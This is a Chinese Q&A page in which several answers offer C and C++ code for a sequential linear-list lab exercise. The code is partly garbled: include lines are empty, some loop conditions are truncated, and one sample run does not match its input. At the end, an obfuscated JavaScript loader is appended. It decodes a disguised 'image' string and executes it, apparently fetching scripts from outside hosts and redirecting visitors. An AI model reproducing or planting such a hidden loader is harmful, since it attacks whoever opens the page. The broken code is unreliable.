数据结构(C语言描述) 线性表实验

2025-01-05 02:26:40
推荐回答(4个)
回答1:

#include
#include
#define LIST_INIT_SIZE 100
#define LISTINCREMENT 10
typedef struct{
int * elem;
int length;
int listsize;
}SqList;
//SqList sq;
void InitList_Sq(SqList *sq) //初始化列表
{
sq->elem=(int *)malloc(LIST_INIT_SIZE*sizeof(int));
sq->length=0;
sq->listsize=LIST_INIT_SIZE;
printf("---申请空间成功---!\n");
}
void GetElem(SqList *sq,int i)//获取第i位置元素的值
{
int *p;
p=&(sq->elem[i-1]);
printf("%d",*p);
printf("\n");
}
int ListInsert_Sq(SqList *sq,int i,int a)//在i位置之前插入a
{
int *p,*q;
if(i<=0||i>sq->length+1)
{
printf("---位置不合法---!\n");
return 0;
}
if(sq->length>=sq->listsize)
{
int* newbase=(int *)realloc(sq->elem,(sq->listsize+LISTINCREMENT)*sizeof(int));
if(!newbase)
{
printf("申请空间溢出\n");
return 0;
}
sq->elem=newbase;
sq->listsize+=LISTINCREMENT;
}
p=&(sq->elem[i-1]);//p指向第i位置的元素
q=&(sq->elem[sq->length-1]);//q指向最后一个元素
for(;q>=p;--q) *(q+1)=*q;
*p=a;
++sq->length;
return 1;
}
int ListDelete_Sq(SqList *sq,int i) //删除i位置上的值
{
int *p,*q;
if(i<1||i>sq->length) return 0;
p=&(sq->elem[i-1]);//p指向第i位置的元素
q=sq->elem+sq->length-1;//q指向最后一个元素
for(++p;p<=q;++p)
{
*(p-1)=*p;
}
--sq->length;
return 1;
}
void visit(SqList *sq)//输出数据
{
int i=1;
for(;i<=sq->length;i++)
{
int *p;
p=&sq->elem[i-1];
printf("%d",*p);
printf(" ");
}
}
void main()
{
int i=1,a=0,boo=1,number=0;
SqList s,*sq;
sq=&s;
InitList_Sq(sq);
printf("初始化空表\n");
printf("输入数据个数:\n");
scanf("%d",&number);
printf("输入%d个数据:",number);
printf("\n");
for(;i<=number;i++)
{
scanf("%d",&a);
if(boo=ListInsert_Sq(sq,i,a))
{
printf("---插入成功!---\n");
}
else
{
printf("---插入不成功,重新插入---!\n");
i=i-1;
}
}
printf("输出所有元素\n");
visit(sq);
printf("\n");
printf("输出删除的位置:");
scanf("%d",&a);
if(boo=ListDelete_Sq(sq,a))
{
printf("---数据删除成功!---\n");
}else
{
printf("---没有删除成功---\n");
}
printf("输出所有元素:\n");
visit(sq);
printf("\n");
printf("输出要显示数据的位置:");
scanf("%d",&a);
printf("输出%d位置数值\n",a);
if(a<0||a>sq->length)
{
printf("---输出位置的数据不存在---\n");
}
else
{
GetElem(sq,a);
}

}
以上是可直接运行的源程序
运行结果:
---申请空间成功---!
初始化空表
输入数据个数:
3
输入1个数据:3
---插入成功!---
输入2个数据;8
---插入成功!---
输入3个数据:5
---插入成功!---
输出所有元素:3 5 8
输出删除的位置:2
---数据删除成功!---
输出所有元素;3 8
输出要显示数据的位置:2
"输出2位置数值:8

回答2:

#include
#include

#define MAXSIZE 1000

typedef int DataType;

typedef struct node{
DataType data[MAXSIZE];
int length;
}SeqList,*PSeqList;

PSeqList Init_SeqList(void)
{
PSeqList SeqListPoint;
SeqListPoint=(PSeqList)malloc(sizeof(SeqList));

if(SeqListPoint)
SeqListPoint->length=0;

return SeqListPoint;
}

int Insert_SeqList(PSeqList SeqListPoint,int i,DataType x)
{
int j;
if(!SeqListPoint)
{
printf("表不存在");
return -2;
}

if(SeqListPoint->length>=MAXSIZE)
{
printf("表溢出");
return -1;
}

if(i<1||i>SeqListPoint->length+1)
{
printf("插入位置不合法");
return 0;
}
for(j=SeqListPoint->length-1;j>=i-1;j--)
SeqListPoint->data[j+1]=SeqListPoint->data[j];

SeqListPoint->data[i-1]=x;
SeqListPoint->length++;

return 1;
}
int Delete_seq(PSeqList SeqListPoint,int t,int x)
{
int i,j;

if(!SeqListPoint)
{
printf("表不存在");
return -1;
}
switch(t)
{
case 1:
for(i=0;ilength;i++)
if(x==SeqListPoint->data[i])
{
for(j=i;jlength;j++)
SeqListPoint->data[j]=SeqListPoint->data[j+1];

printf("你已经成功删除元素%d\n",x);

SeqListPoint->length--;

return 1;
}
printf("该表中不存在该元素!");
return 0;
case 2:
if(x<1||x>SeqListPoint->length)
{
printf("删除位置不合法!\n");
return 0;
}
for(i=x;ilength;i++)
SeqListPoint->data[i-1]=SeqListPoint->data[i];
SeqListPoint->length--;
printf("你已经成功删除%d位置的元素\n",x);
break;
default:
break;
}
return 0;
}

int Location_SeqList(PSeqList SeqListPoint,DataType x)
{
int i=0;
if(!SeqListPoint)
{
printf("表不存在");
return -1;
}
while(ilength&&SeqListPoint->data[i]!=x)
i++;
if(i>=SeqListPoint->length)
return 0;
else
return (i+1);
}

int Print_SeqList(PSeqList SeqListPoint)
{
int i;

if(!SeqListPoint)
{
printf("表不存在");
return -1;
}

if(!SeqListPoint->length)
{
printf("表中没有元素!!!\n");
return 0;
}
printf("表中元素:\n");
for(i=0;ilength;i++)
printf("%d ",SeqListPoint->data[i]);

return 1;
}

void Destroy_SeqList(PSeqList *SeqListPoint)
{
if(*SeqListPoint)
free(*SeqListPoint);
*SeqListPoint=NULL;
}

int main()
{
PSeqList SeqListPoint;
int n,i,j,x,num,flag=0,log=0;
char ch;

while(1)
{
printf("***********线性表**********\n");
printf(" [1]创建一个线性表 \n");
printf(" [2]在表中插入记录 \n");
printf(" [3]删除表中的记录 \n");
printf(" [4]检索表中的元素 \n");
printf(" [5]查看表中的元素 \n");
printf(" [6]统计表中元素的个数 \n");
printf(" [7]退出 \n");
printf("***************************\n");
printf("请输入操作数:");

scanf("%d",&num);
switch(num)
{
case 1:
system("cls");

if(flag)
{
printf("你已经创建了一个表!\n");
break;
}
SeqListPoint=Init_SeqList();
printf("你已经创建了一个表!\n");
flag++;
break;
case 2:
system("cls");

if(!flag)
{
printf("请先创建一个表!");
break;
}
printf("请选择插入位置\n");
printf("[1]直接插入\n");
printf("[2]选择插入\n");
printf("请输入操作数:");
scanf("%d",&num);
switch(num)
{
case 1:
system("cls");

printf("请在表中插入n个记录:\n");
printf("n=");
scanf("%d",&n);
j=SeqListPoint->length;
for(i=j;i {
scanf("%d",&x);
Insert_SeqList(SeqListPoint,i+1,x);
}
log++;
break;
case 2:
system("cls");

printf("请输入插入位置和元素:\n");
scanf("%d %d",&i,&x);
Insert_SeqList(SeqListPoint,i,x);
log++;
break;
default:
printf("您的输入有误!!!");
}
break;
case 3:
if(!flag)
{
printf("请先创建一个表!\n");
break;
}
if(!log)
{
printf("请先插入元素!\n");
break;
}
printf("请选择按何种方式删除表中元素\n");
printf("[1]按元素删除\n");
printf("[2]按序号删除\n");
scanf("%d",&num);
switch(num)
{
case 1:
printf("请输入删除的元素:\n");
scanf("%d",&x);
Delete_seq(SeqListPoint,num,x);
break;
case 2:
printf("请输入删除元素的序号:\n");
scanf("%d",&x);
Delete_seq(SeqListPoint,num,x);
break;
default:
printf("您的输入有误!!!");
}
break;
case 4:
if(!flag)
{
printf("请先创建一个表!\n");
break;
}
if(!log)
{
printf("请先插入元素!\n");
break;
}
printf("请输入您要检索的元素:");
scanf("%d",&x);
if(Location_SeqList(SeqListPoint,x))
printf("该元素位于%d位置",Location_SeqList(SeqListPoint,x));
else
printf("表中没有元素%d\n",x);
break;
case 5:
if(!flag)
{
printf("请先创建一个表!\n");
break;
}
if(!log)
{
printf("请先插入元素!\n");
break;
}
Print_SeqList(SeqListPoint);
break;
case 6:
if(!flag)
{
printf("请先创建一个表!\n");
break;
}
printf("表中元素个数为:%d\n",SeqListPoint->length);
break;
case 7:
if(flag)
{
Destroy_SeqList(&SeqListPoint);
return 0;
}
return 0;
default:
printf("您的输入有误!!!");
}
printf("\n按Enter键继续");
scanf("%c",&ch);
scanf("%c",&ch);
system("cls");
}

}
程序运行结果截图如下:
主画面:

选择操作数1,创建一个线性表:

按Enter键继续,返回主画面,

选择操作数2,在表中插入记录,

选择插入位置,选择1,直接插入,

输入n=5,插入5个记录,

按Enter键继续,返回主画面,选择操作数【3】删除表中的记录,选择【1】按元素删除,输入删除的元素55如下,

按Enter键继续,返回主画面,选择操作数【5】查看表中的元素

记录55已经成功删除
按Enter键继续,返回主画面,选择操作数【3】删除表中的记录,选择【1】按元素删除,输入删除的元素22如下,

表中不存在记录22,所以删除失败。
截过图,粘贴不进去,如果你把分给我,我把代码和截图发给你

回答3:

真的好简单。。 是课设么。。帮人写过C++的 参考下下 一点都不会就只好等其他人给你答案了。。
#include
#include
#include
using namespace std;
#define maxsize 100
typedef struct
{
char name[20];
char num[4];
char sex[10];
int age;
char tel[11];
}datatype;
typedef struct
{
datatype data[maxsize];
int last;
}sqlist;
void intput(sqlist &L, int i)
{
cout << "输入第" << i + 1 << "个学生的信息" << endl;
cout << "名字\t学号\t性别\t年龄\t电话(空格隔开)" << endl;
cin >> L.data[i].name >> L.data[i].num >> L.data[i].sex
>> L.data[i].age >> L.data[i].tel;
}
void output(const sqlist &L, int i)
{
cout << "名字\t学号\t性别\t年龄\t电话" << endl;
cout << left << setw(8) << L.data[i].name
<< setw(8) << L.data[i].num << setw(8) << L.data[i].sex
<< setw(8) << L.data[i].age << setw(8) << L.data[i].tel << endl;
}
void CreateList(sqlist &L, int n) //建表
{
L.last = n;
for (int i = 0; i < n; ++i)
{
intput(L, i);
}
}
void InsertList(sqlist &L, int n) //插入
{
if (n < 1 || n > L.last + 1)
{
cout << "插入位置非法" << endl;
}
else
{
for (int i = L.last + 1; i > n; --i)
{
strcpy(L.data[i].name, L.data[i-1].name);
strcpy(L.data[i].num, L.data[i-1].num);
strcpy(L.data[i].sex, L.data[i-1].sex);
L.data[i].age = L.data[i-1].age;
strcpy(L.data[i].tel, L.data[i-1].tel);
}
intput(L, n - 1);
++L.last;
}
}
void DeleteList(sqlist &L, int n) //删除
{
if (n < 1 || n > L.last)
{
cout << "删除位置非法" << endl;
}
else
{
for (int i = n; i < L.last; ++i)
{
strcpy(L.data[i].name, L.data[i+1].name);
strcpy(L.data[i].num, L.data[i+1].num);
strcpy(L.data[i].sex, L.data[i+1].sex);
L.data[i].age = L.data[i+1].age;
strcpy(L.data[i].tel, L.data[i+1].tel);
}
--L.last;
}
}
void SearchList(const sqlist &L) //查找
{
int choose;
char temp_name[20] = {0}, temp_num[4] = {0};
cout << "1.按编号查找\n2.按名字查找\n请选择:";
cin >> choose;
if (choose == 1)
{
cout << "请输入编号:";
cin >> temp_num;
}
else if (choose == 2)
{
cout << "请输入名字:";
cin >> temp_name;
}
else
{
cout << "输入有误" << endl;
return;
}
for (int i = 0; i < L.last; ++i)
{
if (choose == 1 && strcmp(temp_num, L.data[i].num) == 0)
{
cout << "查找成功" << endl;
cout << "学号为" << temp_num << "的学生信息如下:" << endl;
output(L, i);
return;
}
if (choose == 2 && strcmp(temp_name, L.data[i].name) == 0)
{
cout << "查找成功" << endl;
cout << "名字为" << temp_name << "的学生信息如下:" << endl;
output(L, i);
return;
}
}
cout << "没有这样的学生信息" << endl;
}
void ReadList(const sqlist &L, int n) //读表元
{
if (n < 1 || n > L.last)
{
cout << "该学生信息不存在" << endl;
}
else
{
cout << "读取成功" << endl;
cout << "第" << n << "个学生的信息:" << endl;
output(L, n - 1);
}
}
void PrintList(const sqlist &L) //输出
{
if (L.last == 0)
{
cout << "顺序表为空" << endl;
}
else
{
for (int i = 0; i < L.last; ++i)
{
cout << "第" << i + 1 << "个学生的信息:" << endl;
output(L, i);
}
}
}
int main()
{
sqlist L = {0};
int choose, n;
while (true)
{
cout << "1.建表\n2.插入\n3.删除\n4.按学号或者名字查找\n5.读表元\n6.显示全部信息\n7.退出\n";
cin >> choose;
switch (choose)
{
case 1:
{
cout << "建立学生信息个数:";
cin >> n;
CreateList(L, n);
}
break;
case 2:
{
cout << "插入学生信息的位置:" << 1 << "--" << L.last + 1 << endl;
cin >> n;
InsertList(L, n);
}
break;
case 3:
{
cout << "删除学生信息的位置:" << 1 << "--" << L.last << endl;
cin >> n;
DeleteList(L, n);
}
break;
case 4: SearchList(L); break;
case 5:
{
cout << "读取学生信息的位置:" << 1 << "--" << L.last << endl;
cin >> n;
ReadList(L, n);
}
break;
case 6: PrintList(L); break;
case 7: exit(0); break;
default: cout << "输入有误" << endl; break;
}
system("pause");
system("cls");
}
return 0;
}

回答4:

我用C++写的一个线性表的类,原意是想为自己设计一个专用的库,以后方便使用,但是你要求用C语言的话,我就没时间专门为你写额...不过你想要的话,我可以把我写的那个给你看,作为参考也行!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();